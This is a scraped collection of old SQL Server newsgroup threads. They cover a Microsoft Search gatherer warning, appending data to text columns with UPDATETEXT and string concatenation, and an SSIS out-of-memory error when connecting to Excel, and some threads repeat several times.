I can't find any information to correct the following warning message that I
receive in Event Viewer.
Event Type: Warning
Event Source: Microsoft Search
Event Category: Gatherer
Event ID: 3055
Description: The gatherer property mapping file cannot be opened. Error:
80070003. The default values are being used. You may have to copy the
property mapping file from the Setup CD-ROM, or reinstall the application.
Environment:
Windows 2000 Server SP4
SQL Server 2000 SP4 Standard Edition (8.00.2039)
MDAC 2.81.1117.6
The server is not in a cluster, and doesn't have Exchange installed. Any
assistance would greatly be appreciated!!!
Tom
Tom
Are you sure that it relates to SQL Server?
"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>I can't find any information to correct the following warning message that
>I
> receive in Event Viewer.
> Event Type: Warning
> Event Source: Microsoft Search
> Event Category: Gatherer
> Event ID: 3055
> Description: The gatherer property mapping file cannot be opened. Error:
> 80070003. The default values are being used. You may have to copy the
> property mapping file from the Setup CD-ROM, or reinstall the application.
> Environment:
> Windows 2000 Server SP4
> SQL Server 2000 SP4 Standard Edition (8.00.2039)
> MDAC 2.81.1117.6
> The server is not in a cluster, and doesn't have Exchange installed. Any
> assistance would greatly be appreciated!!!
> --
> Tom
|||Uri:
I don't really have anything else on the server besides backup software.
The only items that I've found related to this message is for Exchange and
SQL in a clustered environment. I don't have Exchange installed on this
server and I'm not running SQL in a clustered environment.
Thanks!!!
Tom
"Uri Dimant" wrote:

> Tom
> Are you sure that it relates to SQL Server?
> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>
>
|||"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:6E260383-2E19-4C9C-8B3B-987293B9B57D@.microsoft.com...
> Uri:
> I don't really have anything else on the server besides backup software.
> The only items that I've found related to this message is for Exchange and
> SQL in a clustered environment. I don't have Exchange installed on this
> server and I'm not running SQL in a clustered environment.
If you search MSDN on "Gatherer", you will find that this term is a part of
other components as well. In particular, sharepoint and the Indexing
Services. There is also something called Windows Desktop Search. Also,
oblique references to outlook.
|||"Uri Dimant" <urid@.iscar.co.il> wrote in message
news:%23yE7p9$BHHA.4256@.TK2MSFTNGP04.phx.gbl...
> Tom
> Are you sure that it relates to SQL Server?
Certainly looks like a Full Text Search issue.

> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>

Application Warning

I can't find any information to correct the following warning message that I
receive in Event Viewer.
Event Type: Warning
Event Source: Microsoft Search
Event Category: Gatherer
Event ID: 3055
Description: The gatherer property mapping file cannot be opened. Error:
80070003. The default values are being used. You may have to copy the
property mapping file from the Setup CD-ROM, or reinstall the application.
Environment:
Windows 2000 Server SP4
SQL Server 2000 SP4 Standard Edition (8.00.2039)
MDAC 2.81.1117.6
The server is not in a cluster, and doesn't have Exchange installed. Any
assistance would greatly be appreciated!!!
--
TomTom
Are you sure that it relates to SQL Server?
"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>I can't find any information to correct the following warning message that
>I
> receive in Event Viewer.
> Event Type: Warning
> Event Source: Microsoft Search
> Event Category: Gatherer
> Event ID: 3055
> Description: The gatherer property mapping file cannot be opened. Error:
> 80070003. The default values are being used. You may have to copy the
> property mapping file from the Setup CD-ROM, or reinstall the application.
> Environment:
> Windows 2000 Server SP4
> SQL Server 2000 SP4 Standard Edition (8.00.2039)
> MDAC 2.81.1117.6
> The server is not in a cluster, and doesn't have Exchange installed. Any
> assistance would greatly be appreciated!!!
> --
> Tom|||Uri:
I don't really have anything else on the server besides backup software.
The only items that I've found related to this message is for Exchange and
SQL in a clustered environment. I don't have Exchange installed on this
server and I'm not running SQL in a clustered environment.
Thanks!!!
--
Tom
"Uri Dimant" wrote:

> Tom
> Are you sure that it relates to SQL Server?
> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>
>|||"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:6E260383-2E19-4C9C-8B3B-987293B9B57D@.microsoft.com...
> Uri:
> I don't really have anything else on the server besides backup software.
> The only items that I've found related to this message is for Exchange and
> SQL in a clustered environment. I don't have Exchange installed on this
> server and I'm not running SQL in a clustered environment.
If you search MSDN on "Gatherer", you will find that this term is a part of
other components as well. In particular, sharepoint and the Indexing
Services. There is also something called Windows Desktop Search. Also,
oblique references to outlook.|||"Uri Dimant" <urid@.iscar.co.il> wrote in message
news:%23yE7p9$BHHA.4256@.TK2MSFTNGP04.phx.gbl...
> Tom
> Are you sure that it relates to SQL Server?
Certainly looks like a Full Text Search issue.

> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>

Application Warning

I can't find any information to correct the following warning message that I
receive in Event Viewer.
Event Type: Warning
Event Source: Microsoft Search
Event Category: Gatherer
Event ID: 3055
Description: The gatherer property mapping file cannot be opened. Error:
80070003. The default values are being used. You may have to copy the
property mapping file from the Setup CD-ROM, or reinstall the application.
Environment:
Windows 2000 Server SP4
SQL Server 2000 SP4 Standard Edition (8.00.2039)
MDAC 2.81.1117.6
The server is not in a cluster, and doesn't have Exchange installed. Any
assistance would greatly be appreciated!!!
--
TomTom
Are you sure that it relates to SQL Server?
"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>I can't find any information to correct the following warning message that
>I
> receive in Event Viewer.
> Event Type: Warning
> Event Source: Microsoft Search
> Event Category: Gatherer
> Event ID: 3055
> Description: The gatherer property mapping file cannot be opened. Error:
> 80070003. The default values are being used. You may have to copy the
> property mapping file from the Setup CD-ROM, or reinstall the application.
> Environment:
> Windows 2000 Server SP4
> SQL Server 2000 SP4 Standard Edition (8.00.2039)
> MDAC 2.81.1117.6
> The server is not in a cluster, and doesn't have Exchange installed. Any
> assistance would greatly be appreciated!!!
> --
> Tom|||Uri:
I don't really have anything else on the server besides backup software.
The only items that I've found related to this message is for Exchange and
SQL in a clustered environment. I don't have Exchange installed on this
server and I'm not running SQL in a clustered environment.
Thanks!!!
--
Tom
"Uri Dimant" wrote:
> Tom
> Are you sure that it relates to SQL Server?
> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
> >I can't find any information to correct the following warning message that
> >I
> > receive in Event Viewer.
> > Event Type: Warning
> > Event Source: Microsoft Search
> > Event Category: Gatherer
> > Event ID: 3055
> > Description: The gatherer property mapping file cannot be opened. Error:
> > 80070003. The default values are being used. You may have to copy the
> > property mapping file from the Setup CD-ROM, or reinstall the application.
> >
> > Environment:
> > Windows 2000 Server SP4
> > SQL Server 2000 SP4 Standard Edition (8.00.2039)
> > MDAC 2.81.1117.6
> >
> > The server is not in a cluster, and doesn't have Exchange installed. Any
> > assistance would greatly be appreciated!!!
> > --
> > Tom
>
>|||"Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
news:6E260383-2E19-4C9C-8B3B-987293B9B57D@.microsoft.com...
> Uri:
> I don't really have anything else on the server besides backup software.
> The only items that I've found related to this message is for Exchange and
> SQL in a clustered environment. I don't have Exchange installed on this
> server and I'm not running SQL in a clustered environment.
If you search MSDN on "Gatherer", you will find that this term is a part of
other components as well. In particular, sharepoint and the Indexing
Services. There is also something called Windows Desktop Search. Also,
oblique references to outlook.|||"Uri Dimant" <urid@.iscar.co.il> wrote in message
news:%23yE7p9$BHHA.4256@.TK2MSFTNGP04.phx.gbl...
> Tom
> Are you sure that it relates to SQL Server?
Certainly looks like a Full Text Search issue.
> "Tom Roth" <TomRoth@.discussions.microsoft.com> wrote in message
> news:5D9BD93E-3A82-44C9-A462-EEFAF32D1250@.microsoft.com...
>>I can't find any information to correct the following warning message that
>>I
>> receive in Event Viewer.
>> Event Type: Warning
>> Event Source: Microsoft Search
>> Event Category: Gatherer
>> Event ID: 3055
>> Description: The gatherer property mapping file cannot be opened.
>> Error:
>> 80070003. The default values are being used. You may have to copy the
>> property mapping file from the Setup CD-ROM, or reinstall the
>> application.
>> Environment:
>> Windows 2000 Server SP4
>> SQL Server 2000 SP4 Standard Edition (8.00.2039)
>> MDAC 2.81.1117.6
>> The server is not in a cluster, and doesn't have Exchange installed. Any
>> assistance would greatly be appreciated!!!
>> --
>> Tom
>

Appending to a Text field

Hi Guys
I am trying to append to a text (text data type) field in my database.
Simply put, the Customer table has a field called Notes. I want to append
some extra data to this field via TSQL. So for a Customer who has an ID of
1234, how do I append some extra text to his Notes field? The help in Books
on Line has me completely baffled.
Thank youWhich helo are you referring to? Have you looked at WRITETEXT/UPDATETEXT?
ML
http://milambda.blogspot.com/

Appending Text to a SQL Text Data Type

I am trying to use a cursor to create a mass Text field with the results fro
m
the selections from a series of VarChar(8000) values. I know I need to use
UpdateText, but it only seems to store the 1st one it reads. Can anyone hel
p?
Here's my text:
Declare @.TriggerText nVarChar(4000)
Declare @.ptrval Binary(16)
Declare @.Offset Int
-- Create temporary table to hold Text field
Create Table #tempTrigger
(TextField Text NULL)
Insert Into #tempTrigger Select ''
-- Get Trigger "basis"
Declare curTriggerBasis Insensitive Cursor For
Select c.Text
From sysObjects o (nolock)
Inner Join sysComments c (nolock)
On o.ID = c.ID
Where o.Name = 'cttx_Customer'
Order By ColID
For Read Only
Open curTriggerBasis
Fetch Next From curTriggerBasis Into @.TriggerText
While @.@.Fetch_Status = 0
Begin
Select @.ptrval = TEXTPTR(TextField),
@.Offset = DataLength(TextField)
From #tempTrigger (nolock)
UpdateText #tempTrigger.TextField @.ptrval @.Offset 0 @.TriggerText
Fetch Next From curTriggerBasis Into @.TriggerText
End
Close curTriggerBasis
Deallocate curTriggerBasis
Select * From #tempTrigger (nolock)> but it only seems to store the 1st one it reads
How are you determining this? What does 'SELECT DATALENGTH(TextField) FROM
#tempTrigger' return?
Happy Holidays
Dan Guzman
SQL Server MVP
"bobnunny" <u17151@.uwe> wrote in message news:59ac1c8e96b9c@.uwe...
>I am trying to use a cursor to create a mass Text field with the results
>from
> the selections from a series of VarChar(8000) values. I know I need to
> use
> UpdateText, but it only seems to store the 1st one it reads. Can anyone
> help?
> Here's my text:
> Declare @.TriggerText nVarChar(4000)
> Declare @.ptrval Binary(16)
> Declare @.Offset Int
> -- Create temporary table to hold Text field
> Create Table #tempTrigger
> (TextField Text NULL)
> Insert Into #tempTrigger Select ''
> -- Get Trigger "basis"
> Declare curTriggerBasis Insensitive Cursor For
> Select c.Text
> From sysObjects o (nolock)
> Inner Join sysComments c (nolock)
> On o.ID = c.ID
> Where o.Name = 'cttx_Customer'
> Order By ColID
> For Read Only
> Open curTriggerBasis
> Fetch Next From curTriggerBasis Into @.TriggerText
> While @.@.Fetch_Status = 0
> Begin
> Select @.ptrval = TEXTPTR(TextField),
> @.Offset = DataLength(TextField)
> From #tempTrigger (nolock)
> UpdateText #tempTrigger.TextField @.ptrval @.Offset 0 @.TriggerText
> Fetch Next From curTriggerBasis Into @.TriggerText
> End
> Close curTriggerBasis
> Deallocate curTriggerBasis
> Select * From #tempTrigger (nolock)|||I've put Print statements in there to check this out. It shows Datalength a
s
4000 everytime except the last one. BUT, like an idiot I was checking the
loop so hard, but the Select statement at the end will only return the first
4000. Once I changed that to DataLength, it showed it had it all.
Thanx!
Dan Guzman wrote:
>How are you determining this? What does 'SELECT DATALENGTH(TextField) FRO
M
>#tempTrigger' return?
>
>[quoted text clipped - 36 lines]

Append to text type field in an update statement.

I have a table with one text type column. I am trying to append this
coulmn with whatever it has with another string. This field may have
more than 8000 characters already
here is What I am trying to do.
Update X
Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
WHERE
id = id
-- some criteria with different joins to different tables.
' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
TextTypeColumn may already have more than 8000 charaters in it and now
I want to append the XXXXXXX string to that and store the new value in
the texttypecolumn. This update statement is inside a stored proc. When
I try to compile it, I am getting below error.
Server: Msg 403, Level 16, State 1, Procedure
stp_scr_postmass_denyopclaims, Line 426
Invalid operator for data type. Operator equals add, type equals text.
I want to avoid cursor and looping for each id and then use Updatetext
to update it.
I would appreciate if you could let me know if it can be done in a
query for all the ids in one go.
Thanks & regards,
MandarText datatype won't support UPDATEs. Check BOL
--
Thanks & Rate the Postings.
-Ravi-
"reachmandar@.gmail.com" wrote:

> I have a table with one text type column. I am trying to append this
> coulmn with whatever it has with another string. This field may have
> more than 8000 characters already
> here is What I am trying to do.
> Update X
> Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
> WHERE
> id = id
> -- some criteria with different joins to different tables.
> ' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
> TextTypeColumn may already have more than 8000 charaters in it and now
> I want to append the XXXXXXX string to that and store the new value in
> the texttypecolumn. This update statement is inside a stored proc. When
> I try to compile it, I am getting below error.
> Server: Msg 403, Level 16, State 1, Procedure
> stp_scr_postmass_denyopclaims, Line 426
> Invalid operator for data type. Operator equals add, type equals text.
> I want to avoid cursor and looping for each id and then use Updatetext
> to update it.
> I would appreciate if you could let me know if it can be done in a
> query for all the ids in one go.
> Thanks & regards,
> Mandar
>

Append to text type field in an update statement.

I have a table with one text type column. I am trying to append this
coulmn with whatever it has with another string. This field may have
more than 8000 characters already
here is What I am trying to do.
Update X
Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
WHERE
id = id
-- some criteria with different joins to different tables.
' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
TextTypeColumn may already have more than 8000 charaters in it and now
I want to append the XXXXXXX string to that and store the new value in
the texttypecolumn. This update statement is inside a stored proc. When
I try to compile it, I am getting below error.
Server: Msg 403, Level 16, State 1, Procedure
stp_scr_postmass_denyopclaims, Line 426
Invalid operator for data type. Operator equals add, type equals text.
I want to avoid cursor and looping for each id and then use Updatetext
to update it.
I would appreciate if you could let me know if it can be done in a
query for all the ids in one go.
Thanks & regards,
Mandar
Text datatype won't support UPDATEs. Check BOL
Thanks & Rate the Postings.
-Ravi-
"reachmandar@.gmail.com" wrote:

> I have a table with one text type column. I am trying to append this
> coulmn with whatever it has with another string. This field may have
> more than 8000 characters already
> here is What I am trying to do.
> Update X
> Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
> WHERE
> id = id
> -- some criteria with different joins to different tables.
> ' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
> TextTypeColumn may already have more than 8000 charaters in it and now
> I want to append the XXXXXXX string to that and store the new value in
> the texttypecolumn. This update statement is inside a stored proc. When
> I try to compile it, I am getting below error.
> Server: Msg 403, Level 16, State 1, Procedure
> stp_scr_postmass_denyopclaims, Line 426
> Invalid operator for data type. Operator equals add, type equals text.
> I want to avoid cursor and looping for each id and then use Updatetext
> to update it.
> I would appreciate if you could let me know if it can be done in a
> query for all the ids in one go.
> Thanks & regards,
> Mandar
>

Append to text type field in an update statement.

I have a table with one text type column. I am trying to append this
coulmn with whatever it has with another string. This field may have
more than 8000 characters already
here is What I am trying to do.
Update X
Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
WHERE
id = id
-- some criteria with different joins to different tables.
' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
TextTypeColumn may already have more than 8000 charaters in it and now
I want to append the XXXXXXX string to that and store the new value in
the texttypecolumn. This update statement is inside a stored proc. When
I try to compile it, I am getting below error.
Server: Msg 403, Level 16, State 1, Procedure
stp_scr_postmass_denyopclaims, Line 426
Invalid operator for data type. Operator equals add, type equals text.
I want to avoid cursor and looping for each id and then use Updatetext
to update it.
I would appreciate if you could let me know if it can be done in a
query for all the ids in one go.
Thanks & regards,
MandarText datatype won't support UPDATEs. Check BOL
--
Thanks & Rate the Postings.
-Ravi-
"reachmandar@.gmail.com" wrote:
> I have a table with one text type column. I am trying to append this
> coulmn with whatever it has with another string. This field may have
> more than 8000 characters already
> here is What I am trying to do.
> Update X
> Set textTypeColumn = textTypeColumn + ' XXXXXXXXXXXXXXXXXXXXXXX'
> WHERE
> id = id
> -- some criteria with different joins to different tables.
> ' XXXXXXXXXXXXXXXXXXXXXXX' will be a fixed string
> TextTypeColumn may already have more than 8000 charaters in it and now
> I want to append the XXXXXXX string to that and store the new value in
> the texttypecolumn. This update statement is inside a stored proc. When
> I try to compile it, I am getting below error.
> Server: Msg 403, Level 16, State 1, Procedure
> stp_scr_postmass_denyopclaims, Line 426
> Invalid operator for data type. Operator equals add, type equals text.
> I want to avoid cursor and looping for each id and then use Updatetext
> to update it.
> I would appreciate if you could let me know if it can be done in a
> query for all the ids in one go.
> Thanks & regards,
> Mandar
>

append single character at specific position in string

Hi everyone, i am in s of help.
I have a variable (called status) of type char(10). This needs to be
extended to type char(11) and i need to append the character 'N' at this
position. For example, if 'status' is any of the following strings of type
char(10)
NYNYYN NY
NNYYY
Y
NNNY YYYNN
These must be converted to the following strings of type char(11) ..<note
the 'N' at the end of the string>:
NYNYYN NYN
NNYYY N
Y N
NNNY YYYNNN
Would anyone know how this can be done?
Any help most appreciated.
Kindest regards,
Sarah.Based on you narrative, you seems you can simply concatenate. For example:
DECLARE @.status char(10)
SELECT @.status = 'NYNYYN NY'
SELECT @.status + 'N'
Hope this helps.
Dan Guzman
SQL Server MVP
"sarah.clarke" <s.clarke@.nospam.com> wrote in message
news:eSgTNXqHGHA.2300@.TK2MSFTNGP15.phx.gbl...
> Hi everyone, i am in s of help.
> I have a variable (called status) of type char(10). This needs to be
> extended to type char(11) and i need to append the character 'N' at this
> position. For example, if 'status' is any of the following strings of type
> char(10)
> NYNYYN NY
> NNYYY
> Y
> NNNY YYYNN
> These must be converted to the following strings of type char(11) ..<note
> the 'N' at the end of the string>:
> NYNYYN NYN
> NNYYY N
> Y N
> NNNY YYYNNN
> Would anyone know how this can be done?
> Any help most appreciated.
> Kindest regards,
> Sarah.
>|||First off, alter the table and change the column to char(11). That's the
easy part.
update MyTable
set status = left(isnull(status,'') + ' ', 10) + 'N'
Note: There are 10 spaces between the quotes.
What this statement does is to convert any null values to an empty string.
Then, it concatenates 10 spaces.
Then, it takes the left most 10 characters.
Finally, it concatenates the 'N' as the eleventh character.
If you want null values to remain null, simply remove the isnull function.
All the concatenation will return null and the row will still have a null
value in the status column.
Hope that helps,
Joe
"sarah.clarke" wrote:

> Hi everyone, i am in s of help.
> I have a variable (called status) of type char(10). This needs to be
> extended to type char(11) and i need to append the character 'N' at this
> position. For example, if 'status' is any of the following strings of type
> char(10)
> NYNYYN NY
> NNYYY
> Y
> NNNY YYYNN
> These must be converted to the following strings of type char(11) ..<note
> the 'N' at the end of the string>:
> NYNYYN NYN
> NNYYY N
> Y N
> NNNY YYYNNN
> Would anyone know how this can be done?
> Any help most appreciated.
> Kindest regards,
> Sarah.
>
>|||oops...my previous post was regarding a column
using a variable:
declare @.status char(11)
set @.status = 'A'
set @.status = left(@.status, 10) + 'N'
Hope that helps,
Joe

Anytime I connect to an Excel file from SSIS05, I start getting endemic system.outofmemoryexcept

This is my error text... how do I get this nonsense to stop?!

===================================

Exception of type 'System.OutOfMemoryException' was thrown. (Microsoft Visual Studio)

Program Location:

at System.String.GetStringForStringBuilder(String value, Int32 startIndex, Int32 length, Int32 capacity)
at System.Text.StringBuilder.GetNewString(String currentString, Int32 requiredLength)
at System.Text.StringBuilder.Append(Char value)
at Microsoft.DataWarehouse.VsIntegration.Designer.Serialization.BufferTextWriter.Write(Char ch)
at System.IO.TextWriter.Write(Char[] buffer, Int32 index, Int32 count)
at System.IO.TextWriter.Write(Char[] buffer)
at System.IO.TextWriter.Write(String value)
at Microsoft.DataTransformationServices.Design.Serialization.DtrDesignerSerializer.SerializePackage(IDesignerSerializationManager manager, Package package, TextWriter textWriter)
at Microsoft.DataTransformationServices.Design.Serialization.DtrDesignerSerializer.SerializeComponent(IDesignerSerializationManager manager, IComponent component, Object serializationStream)
at Microsoft.DataWarehouse.Serialization.DesignerComponentSerializer.Serialize(IDesignerSerializationManager manager, Object value)
at Microsoft.DataWarehouse.VsIntegration.Designer.Serialization.DataWarehouseDesignerLoader.Serialize()
at Microsoft.DataWarehouse.VsIntegration.Designer.Serialization.BaseDesignerLoader.Flush(Boolean forceful)
at Microsoft.DataWarehouse.VsIntegration.Designer.Serialization.BaseDesignerLoader.Flush()
at Microsoft.DataWarehouse.VsIntegration.Designer.Serialization.DataWarehouseContainerManager.OnBeforeSave(UInt32 docCookie)

Can we get some more information? Is this when you connect to any Excel file, or to one particular one?

If this only happens when connecting to a specific file, how much data is being returned?

Is there any information in task manager that you can give us to help? How much memory is available, or in use? Do you see memory usage spiking in a particular process when connecting to Excel?

Donald